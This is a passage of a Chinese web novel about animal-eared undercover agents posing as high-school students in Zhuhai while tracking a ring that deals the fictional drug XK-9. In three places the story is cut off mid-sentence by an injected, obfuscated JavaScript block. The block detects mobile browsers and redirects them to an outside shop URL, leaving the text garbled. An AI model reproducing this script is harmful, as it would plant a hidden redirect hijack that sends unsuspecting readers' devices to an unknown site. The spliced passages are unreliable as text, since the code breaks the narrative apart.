陆大寻在旁边忍笑忍得很辛苦,肩膀一抖一抖的。
“你想笑就笑。”谢燃说。
陆大寻没忍住,笑出了声,笑得蹲在地上,尾巴在地上扫来扫去。他笑了好几声才缓过来,抬起头,眼角还挂着泪:“谢哥,不是我想笑,是你刚才那个样子——你的耳朵红得比你的尾巴还红,那个女生都被你传染了,她本来可能没那么不好意思,结果看到你脸红,她更不好意思了。你们俩站在食堂里,面对面红着脸,像两只煮熟的虾。”
谢燃的尾巴炸了一下。
“陆大寻,你信不信我把你从五楼扔下去?”
“信信信。”陆大寻站起来,拍了拍裤子上的灰,但嘴角的笑容怎么都压不住。
纪砚在旁边始终没有说话。他靠在栏杆上,风吹着他的头发,竹叶清露的信息素在空气中淡淡地散开。谢燃闻到那个味道,尾巴从炸毛状态慢慢收拢了。
“说正事。”纪砚开口了。
陆大寻收起了笑容,谢燃也转过身,靠在栏杆上,双手插兜。
“程宇今早的消息。”纪砚从口袋里拿出手机,调出一条加密信息,递给谢燃,“冥安上周五的交易地点换了。不是在他家楼下,而是在学校北门对面的一条巷子里。时间也变了,从周三改到了周五下午放学后。”
谢燃接过手机,看了一遍,眉头皱了起来。
“为什么换?”
“两种可能。”纪砚说,“第一,他察觉到了有人在观察。第二,有人告诉他要换。”
“姜雅?还是谭照?”
“都有可能。”纪砚收回手机,“但不管是谁,换地点意味着他们发现了异常。可能是发现了程宇,也可能是发现了别的什么——但至少说明,他们开始警惕了。”
陆大寻的尾巴不晃了,表情认真起来:“纪哥,你们要收网了吗?”
纪砚和谢燃对视了一眼。
“快了。”谢燃说,“但收网之前,需要确认一件事——冥安的新交易地点和时间,是不是固定的。如果只是临时换一次,那说明他们只是谨慎;如果是长期换,那说明他们确实发现了什么。”
“程宇在盯着。”纪砚说,“今天周五,他会在新地点蹲守。”
陆大寻沉默了几秒,然后说:“我能做什么?”
谢燃看着他,目光里有一种说不清的东西——不是拒绝,不是同意,更像是在衡量什么。
“你什么都不要做。”谢燃说,“继续上课,继续考试,继续每天笑嘻嘻的,像什么都没发生过。”
“可是——”
“没有可是。”纪砚接过话,“你做的已经够多了。剩下的交给我们。”
陆大寻的嘴巴张了张,又闭上了。他看了看谢燃,又看了看纪砚,最后点了点头。
“行。”他说,“但你们要答应我,收网的时候,别受伤。”
谢燃愣了一下,然后笑了。他伸手揉了揉陆大寻的头发,揉得他头发乱成一团。
“行,答应你。”谢燃说,“不受伤。”
陆大寻嘿嘿一笑,从口袋里掏出一包纸巾,抽出一张擦了擦鼻子——刚才笑得太厉害,鼻涕都笑出来了。谢燃看着他那副样子,摇了摇头,转身看向远处的大海。
海面上有一艘货轮在缓缓移动,拖着一道白色的浪尾。阳光照在水面上,碎成无数片金箔,一闪一闪的。海风吹过来,带着咸味和深秋的凉意。
“纪砚。”
“嗯。”
“你说,如果冥安知道自己被发现了,他会跑吗?”
纪砚沉默了几秒。
“不会。”他说,“他跑不掉。XK-9的成瘾性会让他回来。”
“那他会不会——”
“会不会反咬一口?”纪砚接过话,“有可能。所以收网的时候,需要控制住他,不能让他失控。”
谢燃点了点头。
天台上安静了一会儿。陆大寻蹲在地上,用纸巾叠了一只纸鹤,放在栏杆上。风把纸鹤的翅膀吹得微微颤动,像要飞起来,但最后还是稳稳地站在那里。
“谢哥。”陆大寻抬起头。
“嗯。”
“你刚才说‘虚假又短暂的青春’,是什么意思?”
谢燃低头看着他,想了想,说:“就是——我这个年纪的人,本来不应该在高中的。但我在这里,假装自己是十八岁,假装自己是普通学生,假装收到的情书跟我有关系。这些都是假的。但——”
他顿了一下。
“但罚站是真的,补课是真的,食堂的红烧肉是真的,你妈的芒果千层是真的。这些是真的。”
陆大寻看着他,浅色的瞳孔里映着天光。
“那就够了。”陆大寻说。
谢燃愣了一下,然后笑了。那笑容很轻,但很真。
“嗯。”他说,“够了。”
纪砚靠在栏杆上,没有说话,但他的嘴角有一个很小的弧度。
天台上风很大,吹得三个人的头发都乱了。远处的海面上,那艘货轮已经走远了,只剩下一道淡淡的浪尾,在海面上慢慢扩散、消失。
“走吧,快上课了。”纪砚站直了身体。
谢燃从栏杆上直起身,拍了拍手上的灰。陆大寻从地上站起来,把那只纸鹤小心翼翼地放进口袋。
三个人走向天台门口。谢燃走在前面,纪砚在中间,陆大寻在最后。铁门在身后关上,发出沉闷的声响。
楼梯间的声控灯亮了,他们的脚步声在楼道里回响。谢燃的尾巴在身后慢悠悠地晃着,纪砚的影子投在墙上,陆大寻在后面哼着一首跑调的歌。
走到二楼拐角的时候,谢燃忽然停下来。
“纪砚。”
“嗯。”
“如果有一天,任务结束了,我们离开珠海了,你还会给我补课吗?”
纪砚看着他,那双黑眼睛里有一种很稳的光。
“会。”他说,“只要你还考43分。”
谢燃笑了,笑得尾巴晃了好几下。
“那我争取一直考43分。”
“不行。”
“为什么?”
“因为海鲜。”
谢燃想了想,觉得海鲜比43分重要。他点了点头,继续往下走。
陆大寻在后面听着这段对话,嘴角慢慢咧开了,但他什么都没说,只是把口袋里的纸鹤又往里塞了塞,然后小跑两步跟了上去。
下午的课,谢燃上得比平时认真。
不是因为突然爱上了学习,而是因为他答应过韩队下次月考数学上70,答应过纪砚“真的会起来”,答应过陆大寻“不受伤
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536145|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”。这些答应像一根根看不见的线,把他和这些人绑在一起。
他想,绑就绑吧。反正他也不想挣开。
放学的时候,谢燃和纪砚没有直接回公寓,而是在校门口等了一会儿。程宇从街对面的榕树上跳下来——没错,他从树上跳下来,动作轻得像一片叶子,落地没有声音。
“程宇,你能不能走正常的路?”谢燃问。
“这很正常。”程宇拍了拍身上的树叶,“猫头鹰走树,天经地义。”
谢燃懒得跟他掰扯。
“新地点确认了?”纪砚问。
“确认了。”程宇收起笑容,“北门对面的巷子,往里走三十米,有一个死角,没有监控,两边都是墙。今天中午我看到冥安去踩点了,他待了大概五分钟,看了看四周,然后走了。”
“他一个人?”
“一个人。没有带东西,也没有交接。”程宇从口袋里掏出一张折好的纸,递给纪砚,“我画了巷子的平面图,标注了进出口和视野盲区。收网的时候,可以从两头包抄,他跑不掉。”
纪砚接过图纸看了看,叠好放进口袋。
“继续观察。”他说,“有新情况随时同步。”
“收到。”程宇转身走了几步,忽然停下来,回头看着谢燃,“谢哥,你今天在食堂的事,我听说了。”
谢燃的尾巴绷紧了。
“你脸红的视频,被人拍了。”程宇说。
“什么?”
“闺蜜团拍的。她们发在了朋友圈,配文是‘被拒绝的男生比女生还害羞,好可爱’。”
谢燃的脸黑了。
“不过你放心,”程宇咧嘴笑了,“我已经把那条朋友圈删了。痕迹也清除了。你的黑历史,只留在总部食堂大师傅的嘴里。”
谢燃深吸一口气,又吐出来。
“谢谢。”他说,声音从牙缝里挤出来。
“不客气。”程宇笑着转身,走了几步,翻过围墙,消失了。
谢燃和纪砚站在校门口,沉默了几秒。
“走吧。”纪砚说。
“嗯。”
他们拐进和风中街,夕阳把整条街染成了橘红色。榕树的影子投在地上,像一大片静止的网。海风吹过来,带着咸味和深秋的凉意。
“纪砚。”
“嗯。”
“收网的时候,我想亲手抓冥安。”
纪砚看了他一眼。
“为什么?”
“因为我想问他一个问题。”
“什么问题?”
谢燃沉默了几步。
“问他,如果有一天XK-9的供应断了,他会怎么办。是想办法戒掉,还是去找新的来源。”
纪砚没有回答。但他没有说“不”。
两人继续往前走,路灯一盏一盏地亮起来,把他们的影子拉得很长很长。
珠海市的傍晚,和每一个普通的傍晚一样,喧闹、嘈杂、充满了生活的烟火气。但在那些烟火气照不到的地方,有什么东西正在加速生长。就像榕树的气根,一开始只是一根细细的须,慢慢变粗,扎进土里,长出新的树干。你看不到它生长的速度,但等你发现的时候,它已经把你包围了。
收网快了。
谢燃想,收网之后,他大概不会再有机会站在高中的走廊上罚站,不会再有机会在食堂里被女孩子递情书,不会再有机会在数学课上偷偷看纪砚的笔记。
他的青春是假的。
但那些罚站、补课、红烧肉、芒果千层、翻墙被抓、情书被拒——这些记忆是真的。
他摸了摸口袋里的那张便签纸。二次函数的顶点公式,工工整整地写在上面,旁边画了一个抛物线,顶点处用红笔画了一个圈。
他把那张纸往口袋深处塞了塞,加快了脚步。
34. 翻墙×2
周四早晨,谢燃是被手机震醒的。不是闹钟,是陆大寻发来的一连串消息,像机关枪一样突突突地扫过来:
【谢哥谢哥!!!你起了吗???】
【今天早上校门口有值周生检查!!!你别迟到!!!】
【我帮你留座了!!!】
【你快点!!!】
最后一条消息后面跟着一只哈士奇急得原地转圈的表情包。谢燃看了一眼时间,七点二十。他愣了一秒,然后从上铺弹了起来。头撞到了天花板,发出沉闷的一声响,他顾不上疼,光着脚踩在地板上就往洗手间冲。
下铺的被子已经叠好了,整整齐齐的,枕头放在被子上,床单没有一丝褶皱——纪砚又没等他。
“纪砚!!!”他嘴里塞着牙刷,含混地吼了一声。没人回答。
他用了三十秒洗漱,四十秒换好校服,书包拎在手里没来得及背上,尾巴因为紧张又炸成了一朵红色的烟花。客厅的餐桌上放着一杯豆浆和一个保鲜袋,袋子里装着两个包子。豆浆杯下面压着一张纸条,上面是纪砚的字迹:“七点十分叫你,你说‘再睡五分钟’。七点十五又叫你,你说‘纪砚你烦不烦’。七点二十我走了。升旗不能迟到。另外,你今天要是再翻墙被陈主任抓到,我就不给你补课了。——纪砚”
谢燃把纸条揉成一团塞进口袋,抓起豆浆喝了一口——温的,不烫了——又抓起包子,拉开大门就往外冲。楼梯间的声控灯被他急促的脚步声一层一层地踩亮,又在他身后一层一层地灭掉。他跑到小区门口的时候,看了一眼手机,七点三十五。升旗仪式是七点五十,跑过去要十五分钟,但那是正常速度。以他的速度,跑过去大概七八分钟。但他不能从校门进,因为校门口有值周生检查迟到,陈主任也会站在那里,那双金丝眼镜后面的眼睛比任何监控都精准。
翻墙。
他又要翻墙了……
上次翻墙被陈主任抓到的画面还在脑子里,罚站一个上午的滋味他还记得——腿酸,无聊,被路过的同学用同情的目光注视。但迟到更麻烦,迟到要被记名,要被班主任谈话,要被韩队知道。韩队如果知道他因为迟到翻墙又被抓,大概会从珠海北边的山区直接杀过来,用那种阴阳怪气的调子说:“顶级特工,卧底高中,第二次翻墙被抓,啧啧啧。”谢燃一想到那个画面,就觉得翻墙也没那么可怕了。至少比被韩队阴阳强。
他选了东墙。和上次同一个位置,榕树的气根垂下来,在晨风中轻轻摇晃。他把书包背好,豆浆杯塞进口袋,包子叼在嘴里,双手抓住气根,脚蹬着树干凸起的地方,三下两下就攀上了墙头。动作比上次更快,毕竟有经验了。但这次他多了一个步骤——骑在墙头上之后,他没有急着往下跳,而是先往校园里看了一眼。
操场上还没有人。旗杆下护旗手还没就位,广播里在放轻音乐。实验楼的拐角处空荡荡的,陈主任不在那里。谢燃把包子从嘴里拿下来咬了一口,嚼了两下,正准备往下跳,忽然听到头顶上传来一个很低的声音。
“谢哥。”
他抬头一看,树上蹲着一个人。深色的连帽外套,帽子拉得很低,只露出一双琥珀色的眼睛。程宇。他手里拿着一杯豆浆,正低头看着他,表情是一种介于“你怎么又来了”和“我什么都没看到”之间的微妙状态。
“你怎么在这?”谢燃压低声音。
“观察。”程宇站起来,拍了拍裤子上的灰,动作很轻,几乎没有声音,“东墙是翻墙进校的最优路线,我要守在这里记录翻墙人员的特征、时间和方式,万一有可疑人员混进来,我可以第一时间发现。”
“那你现在在记录我?”
“不记录。”程宇喝了一口豆浆,“你的特征、时间和方式我已经在上周记录过了,不需要重复记录。你自己继续翻,我当没看见。”
谢燃看着他,程宇也看着他。两个人对视了一秒。
“谢哥。”程宇开口。
“嗯。”
“你今天翻墙的动作比上周快了不少,但骑上墙头之后停顿时间太长,容易被发现。建议下次直接翻,别停。”
“你还说你没在记录?”
“这是建议,不是记录。”程宇的表情无辜得像一只猫头鹰——虽然猫头鹰本来就不是一种会表达无辜的动物。
谢燃懒得跟他掰扯。他把剩下的包子一口塞进嘴里,从墙头上跳下来,落地无声——他长时间的训练能让脚步声降到了最低,连地面上的枯叶都没怎么响。他拍了拍手上的灰,弯腰捡起豆浆杯,正准备混进操场,一个声音从实验楼的拐角处传来。
“谢燃。”
他僵住了。
陈主任站在实验楼的拐角处,双手抱胸,金丝眼镜在晨光中反着光,还有一小丢羚羊角在头上,可看不清她的眼睛,但谢燃能感觉到那道目光的重量。她穿着一件深蓝色的西装外套,头发盘得一丝不苟,整个人像一尊从校规手册里走出来的雕像。谢燃不知道她是从哪里冒出来的——刚才那个位置明明是空的。也许她是从实验楼里出来的,也许她一直都在那里,只是他翻墙的时候太专注了没有看到。
“陈老师,早啊……”谢燃转过身,脸上挂着一个标准的、无辜的、认命的微笑。
“早。”陈主任走过来,步子不快不慢,高跟鞋敲在地面上发出清脆的哒哒声,“又是你。”
“是我。”
“又是东墙。”
“是东墙。”
“又是翻墙进来。”
“是翻墙进来。”
陈主任看着他,表情没有什么变化。但谢燃注意到,她的嘴角微微动了一下——不是生气,更像是某种“我早就知道会这样”的无奈。她翻开手里的本子,在上面写了一行字,然后把本子合上。
“升旗仪式结束后,去教导处门口站着。一个上午。”
“陈老师。”谢燃开口了。
“什么?”
“能站半天吗?下午还有体育课。”
陈主任看了他一眼,那眼神里有光——不是严厉的光,是那种被逗笑了但强忍着不笑的光。“不行。一个上午。”
谢燃垂下尾巴。“好的,陈老师。”
陈主任转身走了。高跟鞋的声音哒哒哒地远去。程宇还蹲在树上,手里拿着豆浆,表情是一种“我什么都没看到也什么都没听到”的微妙状态。谢燃看着他,程宇看着他。两个人对视了一秒。
“程宇。”
“在。”
“你不是说你不记录吗?”
“我没记录。陈主任自己看到的,跟我没关系。”
“你刚才说‘建议下次直接翻,别停’。”
“那是建议。陈主任又不会听我的建议,更何况不熟~。”程宇的理由无懈可击。
谢燃深吸一口气,又吐出来。他的尾巴从炸毛状态慢慢收拢,但耳朵还是红的。他喝了一口豆浆,已经凉了。他把杯子捏扁,扔进了旁边的垃圾桶,然后走向操场。
升旗仪式上,谢燃站在队伍里,尾巴垂着,耳朵垂着,表情是一种介于“我很丢人”和“我已经习惯了”之间的微妙状态。纪砚站在他旁边,没有说话,但谢燃注意到他的嘴角有一个很小的弧度——那个弧度比平时大了那么一点点。
“纪砚。”谢燃用只有两个人能听到的声音说。
“嗯。”
“你是不是早就知道陈主任今天会在东墙那边?”
“不知道。”
“那你为什么早上不叫我?”
“叫了。四次。你说‘纪砚你再叫我就不起来了’。我说‘那你别起来了’。你说‘你说什么’,我说‘没什么’。然后我走了。”
谢燃张了张嘴,想反驳,但发现自己理亏。他转过头,看着旗杆的方向。国旗已经升到顶了,在晨风中慢慢飘着。阳光很好,照在操场上,把每个人的影子拉得短短的。他想,算了。罚站就罚站吧。反正也不是第一次了。
升旗仪式结束后,谢燃走向教导处。纪砚跟在旁边走了几步,陆大寻从后面追上来。
“谢哥,你又被罚站了?”陆大寻的声音里带着一种“我已经不惊讶了”的平静。
“嗯。”
“又是翻墙?”
“嗯。”
“又是东墙?”
“嗯。”
陆大寻的嘴巴张了张,又闭上了。他的表情在“哈哈哈哈”和“谢哥你好惨”之间反复横跳,最后选择了前者。他笑了,笑得蹲在地上,尾巴在地上扫来扫去,像一把白色的扫帚。他笑了好几声才缓过来,抬起头,眼角还挂着泪:“谢哥,你怎么又翻同一面墙?你就不能换一面翻吗?”
“别的墙不好翻。”
“所以你宁愿被抓也不换墙?”
“换墙也会被抓。陈主任
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536146|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
今天不在东墙也会在北墙,不在北墙也会在西墙。她已经知道我会翻墙了,所以她会把所有墙都盯着。”谢燃的语气平静得像在分析战场局势。
陆大寻想了想,觉得好像有道理。他站起来,拍了拍裤子上的灰,说:“谢哥,你真的是我见过的最奇怪的Alpha。”
谢燃没问为什么。因为他也觉得自己挺奇怪的。
教导处门口,那块两平方米的灰色瓷砖区域,谢燃已经很熟悉了。他站在上次站的位置,背靠着墙,双手插兜,尾巴垂在身后。阳光从走廊的窗户照进来,在他脚边画出一个明亮的方形。陈主任从教导处里走出来,手里拿着一杯茶,看了他一眼。
“站好。”她说。
谢燃把背挺直了。
陈主任点了点头,转身回去了。
第一节课是数学。谢燃站在教导处门口,听着远处教室里传来的读书声,心想纪砚现在大概在翻课本,笔放在固定的位置,笔记本翻开到新的一页,等着老师开始讲课。他的数学笔记会记得很整齐,等放学后会拿给谢燃看,上面会用红笔标出重点,用蓝笔写出推导过程。谢燃想到那些笔记,觉得罚站也没那么难受了。
课间的时候,陆大寻又来了。他手里拿着一瓶水,小跑着过来,尾巴在身后甩得飞快。跑到谢燃面前,把水递过去,喘着气说:“谢哥,水。纪哥让我带的。”
谢燃接过水,拧开盖子喝了一口。凉的,带着一丝甜味——又是蜂蜜。
“纪砚让你带的?”谢燃问。
“嗯。他说你早上没喝水,会渴。”陆大寻眨眨眼,“纪哥对你真好。”
谢燃的尾巴在身后晃了一下。“他对我好是因为我数学不好。”
“那他对我也应该好,我数学也不是特别好。”
“你数学89。”
“还可以更高嘛。”
谢燃懒得跟他掰扯,又喝了一口水,把瓶盖拧好,还给他。陆大寻把水瓶抱在怀里,没有走,站在旁边,尾巴慢悠悠地晃着。
“谢哥。”
“嗯。”
“你以后能不能不翻墙了?”
谢燃想了想。“不能。”
“为什么?”
“因为我起不来。”
“那你让纪哥多叫你几次。”
“他叫了。四次。我还是没起来。”
陆大寻沉默了几秒,然后说:“那你定十个闹钟。”
“十个闹钟也闹不醒我。我以前住的地方,训练的时候,教官用喇叭都叫不醒我。”
陆大寻张了张嘴,想说点什么,但最后只是叹了口气。他把水瓶抱得更紧了,尾巴垂下来。“那你就继续翻墙吧。但你能不能换一面墙?东墙太容易被抓了。”
“北墙呢?”
“北墙靠停车场,翻过去可能会被老师的车撞。”
“西墙呢?”
“西墙靠马路,翻过去就是大马路,太显眼。”
“南墙呢?”
“南墙是大门。”
陆大寻想了想,觉得好像没有别的墙可以翻了。他叹了口气,拍了拍谢燃的肩膀,用过来人的语气说:“谢哥,那你认命吧。”
谢燃看着他,忽然笑了。“你一个十七岁的小孩,跟我说‘认命吧’?”
“我不是小孩!我十七了!”
“十七也是小孩。”
陆大寻瘪了瘪嘴,尾巴翘起来,转身走了。走了几步又停下来,回头喊了一句:“谢哥,中午我给你带饭。红烧肉!”
谢燃看着他的背影消失在走廊尽头,尾巴在身后慢悠悠地晃了一下。
中午吃饭的时候,谢燃端着餐盘坐到靠窗的位置。纪砚坐在他对面,陆大寻坐在旁边。三个人埋头吃饭,谁都没怎么说话。谢燃吃了两碗米饭,把红烧肉的汤汁都拌进饭里,吃得干干净净。
“谢哥,你今天下午还站吗?”陆大寻问。
“站到第一节课开始。”
“那你还有——一个小时?”
“大概。”
陆大寻想了想,从自己的餐盘里夹了一块红烧肉放到谢燃碗里:“谢哥你多吃点,补充体力。”
谢燃看着那块红烧肉,笑了。“谢了,小孩。”
“我不是小孩!”陆大寻的抗议声在食堂的嘈杂中被淹没了大半,但他的尾巴翘得高高的,显然并没有真的生气。
35.谈话与倒计时
周五早晨,谢燃走进教室的时候,发现自己的课桌上多了一张便签纸。不是纪砚的那种工整字迹,是班主任王老师的手写——“谢燃,纪砚,中午来办公室一趟。”
两个人。谢燃把便签纸递给纪砚,纪砚看了一眼,叠好放进口袋。
“王老师找我们俩?”谢燃压低声音。
“嗯。”
“什么事?”
“去了就知道。”
谢燃的尾巴在桌子底下晃了一下。不是紧张,是好奇。王老师单独找他正常——数学43分,翻墙被抓,抽烟罚站,这些事随便拎一件出来都够找他了。但王老师找纪砚——纪砚成绩全班第三,从来不违纪,上课认真听讲,作业按时完成,是那种老师恨不得拿来当榜样的学生。王老师找纪砚干什么?除非纪砚也干了什么坏事。但纪砚不会干坏事。纪砚连走路都走斑马线,过马路都要等绿灯,扔垃圾都要分类。
“你最近干什么了?”谢燃转头看纪砚。
“没干什么。”
“那王老师为什么找你?”
“可能是因为你。”
谢燃张了张嘴,发现自己无法反驳。因为纪砚说得对——王老师如果是叫纪砚去办公室说“谢燃又翻墙了你劝劝他”,那确实是因为他。
上午的课谢燃上得心不在焉。数学课他走了两次神,被纪砚用笔尾敲了三下桌面才拉回来。英语课他做了一套阅读理解,错了三道,比上周多错一道。物理课干脆趴在桌上,脸埋进胳膊,尾巴绷得笔直,一动不动。
“别想了。”纪砚低声提醒。
“我没想。”
“你的尾巴一动不动,就是在胡思乱想。”
谢燃低头瞥了眼桌下紧绷的尾巴,慌忙甩了甩,强行装作漫不经心,心思却依旧纷乱盘旋。
中午下课铃响起,两人一同走向办公室。走廊人潮拥挤,谢燃将狐尾高高竖起,避免被来往人群磕碰,纪砚步履平缓,安静跟在身后。
办公室门敞开着,不止王老师在,陈主任也端坐一旁,指尖捏着茶杯,金丝镜片泛着冷光。茶几上摆好两杯水,显然早已等候多时。
纪砚率先开口问好,音色清浅沉稳。两人依次落座,腰背挺直,姿态端正得像是在执行任务汇报。
“不用紧张。”王老师语气温和,“只是简单聊聊近况,学习和生活上,有没有难处。”
谢燃微微一怔,预想中的训斥并未到来。
纪砚如实作答,说起谢燃近期的补习进度,小测成绩确实稳步提升。
陈主任适时开口,语气褪去平日的凌厉,平缓询问他屡次翻墙的缘由。
“早上醒不来,怕迟到扣分。”谢燃老实回答。
“正门可以通行,为何非要翻墙?”
“不好意思在您面前迟到。”
办公室掠过一丝微妙的安静,王老师默默压下笑意。几番问答下来,没有严厉的斥责,只有温和的叮嘱与敲打。
直到王老师随口一句闲谈,轻轻击碎了表面的平和:“你们俩性子反差真大,谢燃该随母亲,纪砚该随父亲。”
空气骤然一凝。
无人察觉的缝隙里,暗流翻涌。
谢燃指尖微顿,心底骤然一空。父母、家庭、来路,这些于旁人寻常的词汇,于他而言,是一片空白的荒芜。他是被编号定义的实验体,是在绝境里挣扎长大的孤影,从来没有所谓的家人。
身侧的纪砚依旧沉静如常,只有放在膝头的指尖,极轻地蜷缩一瞬。
他们皆是从破碎废墟里被救赎的孩子,名字是新生的馈赠,过往是磨灭的废墟,没有血亲,无从依附。
谢燃很快收敛眼底的落寞,扬起惯常散漫的笑,用玩笑掩饰心底的缺口,轻巧揭过这个话题。
陈主任适时收尾
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537457|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,警告下不为例,再犯便加重处罚,又嘱咐纪砚多照看管束。
二人起身告辞,即将走出门口时,王老师温和的问询再度落下,问及同住的近况,问及远方的父母。
“工作很忙,常年在外。”谢燃轻声应答。
寻常的关怀,朴素的叮嘱,在满是伪装与任务的日常里,格外真切动人。
走出办公室,走廊归于安静。
“他什么都不知道。”谢燃低声开口,“不知道我们的身份,不知道我们的过往,只当我们是普通的少年。”
纪砚沉默相伴,在楼梯拐角,一只手轻轻落在他肩头,短暂停留,是无声的安抚与包容。
食堂里烟火喧闹,陆大寻早早占好座位,捧着最后一份红烧肉,叽叽喳喳追问谈话的内容,鲜活热烈的模样冲淡了心底的沉闷。
谢燃低头吃饭,笑意浅浅,却未抵达眼底。
王老师随口的一句话,在心底反复回响。他们没有可以依附的家人,没有安稳的来路,却拥有彼此,拥有身边细碎的温柔与暖意。
韩队的照看,同伴的并肩,陆妈妈的甜点,师长朴素的关心,这些细碎的温暖,都是暗夜里难得的光。
暮色将至,海风漫过城市,寻常的校园日常之下,暗流悄然涌动。
冥安的交易、织网者的阴谋、步步推进的收网计划,一切都在加速运转。
饭后并肩走出食堂,暖光落在两人身上,影子交叠缠绕,密不可分。
“不用多想。”纪砚的声音清淡又安稳。
谢燃抬眼看向身旁的少年,那双沉静的眼眸里,永远盛着独属于他的笃定与偏爱。
收网的倒计时已然开启。
还有慵懒的清晨、琐碎的日常、彼此的陪伴,在风暴来临之前,温柔存续。
谢燃揣进口袋,指尖触到那张薄薄的便签,脚步放缓,而后轻轻跟上。
36.投影布上的网
周六早晨,谢燃是被客厅细碎的说话声吵醒的。
音量压得很低,刻意放轻,像是怕惊扰屋里的人。他从床铺上方探出头,视线扫向下铺——被褥叠得方方正正,棱角利落,早已空无一人。
客厅的门紧闭,细碎的交谈声顺着门缝渗进来,断断续续,模糊不清。
谢燃赤着脚踩上地板,轻手轻脚走到门边,拉开一道窄缝。客厅灯火全开,窗帘严丝合缝遮挡住窗外天光。韩征远立在茶几旁,指尖捏着一杯冷掉的咖啡,眉宇微蹙。纪砚安静坐在沙发上,膝头摊开笔记本,执笔垂眸。程宇蹲在地面,正低头往笔记本电脑里接驳线路。
“谢哥醒了。”程宇头也没抬,耳尖轻轻动了动。
谢燃微微一怔,从门缝探出半个身子:“你怎么知道?”
“听得见你的心跳。”程宇语气平淡,“从上铺起身那一刻就察觉了。”
谢燃低头看了看自己的胸口,无奈挑眉:“你有点变态。”
“只是猫头鹰Alpha的听觉优势而已。”程宇辩解得格外无辜。
谢燃没再多说,转身走进洗手间洗漱换衣。等他走到客厅,韩征随手递来一杯温热豆浆,抬了抬下巴示意沙发空位。
“刚复盘到一半,等你过来汇总。”
谢燃落座,抿了口豆浆,目光落在杂乱的茶几上。笔记本、平板、打印照片、红蓝水笔堆叠在一起,各类线索资料错落铺开,空间局促拥挤。
“桌子太小了,根本放不下。”
韩征远抬眼,看向天花板:“所以早准备了别的地方。”
谢燃顺着目光抬头,天花板中央有一块颜色略深的区域,像是被刻意遮挡。程宇起身搬来椅子踩上去,抬手轻拉,一块卷收的白色投影幕缓缓落下,稳稳固定。
“租房自带的。”程宇跳下椅子,拍了拍幕布,“上一任租客留下,我检查过,没有监控窃听,纯普通投影设备。昨天我和纪哥简单改造,刚好用来梳理线索。”
整块幕布上密密麻麻,贴满便签、实景照片,红蓝笔迹勾勒出交错的线条与箭头,圈点标注清晰分明。左上角白纸黑字写着:空中计划(KZO)。
旁边并排贴着两张陈旧证件照,是少年时期的纪砚与谢燃,身着作训服,眉眼冷冽青涩,褪去了如今的少年气,只剩任务打磨出的冷硬。
谢燃匆匆扫过,不动声色移开视线。
韩征远拿起红色马克笔,走到幕布前,神色沉敛。
“今天从头梳理整桩案件,所有隐秘、线索、遗留疑点,全部摊开。理清脉络,敲定后续所有行动。”
红笔落下,重重圈住「空中计划」四个字。
“十五年前,熔炉实验室濒临覆灭。高层为掩盖罪证,下令销毁所有不合格实验体。一艘废弃货运飞船,装载数十名实验孩童,遗弃至近地轨道。生命系统三小时后彻底瘫痪。”
他顿了顿,目光缓缓落在纪砚与谢燃身上。
“首刃官违抗指令,强行出发救援。在氧气耗尽的最后四分钟,救下一批孩子,带回ASI基地。其中,包含两个关键实验体——编号A232,A299。”
“后来,他们有了名字。纪砚,谢燃。”
客厅瞬间陷入沉寂。
程宇指尖停在键盘上空,动作骤然凝滞。这段过往档案里早有记载,可从韩征远平静的口吻里亲口说出,依旧压得人呼吸发沉。
纪砚眸光落在幕布的旧照片上,一瞬缄默,随即低头,在笔记本上静静落笔。谢燃的狐尾垂落椅下,紧绷僵直,一动不动。
韩征远提笔,在幕布写下两行清晰字迹:
A232→纪砚
A299→谢燃
笔尖一转,移步幕布右侧,密密麻麻的人物与实景照片映入眼帘:和风四中校门、冥安、姜雅、谭照、陆大寻、校医室、北门窄巷……红蓝色线条纵横交错,将所有人与地点牢牢串联,织成一张庞大的关系网。
“和风四中,潜藏熔炉残余势力。”韩征远的声音冷静克制,“目前确认核心三人:
冥安,蜘蛛Alpha,长期依赖XK-9药剂;
姜雅,蛇Omega,校医,熔炉旧实验体O189;
谭照,变色龙Beta,学校安保副科长,姜雅生父,负责外围安保与物资输送。”
红线轻轻相连,三人的捆绑关系一目了然。
“冥安定期向姜雅购入药剂,谭负责场外望风、物资运输。姜雅之上,另有掌权者,掌控药剂剂量与交易规则,隐匿在和风四中的关联链条之外。”
他伸手,将年绪的分析报告摘要贴在幕布正中央。纸张上清晰罗列着XK-9的成分比对、残留数据、地域推测。
“药剂溯源有了突破。”韩征远指尖轻点纸面,“口服液改良了辅料配方,但核心致幻、成瘾成分,与熔炉时期注射剂高度重合。市区排查无果,生产据点锁定珠海北部山区。”
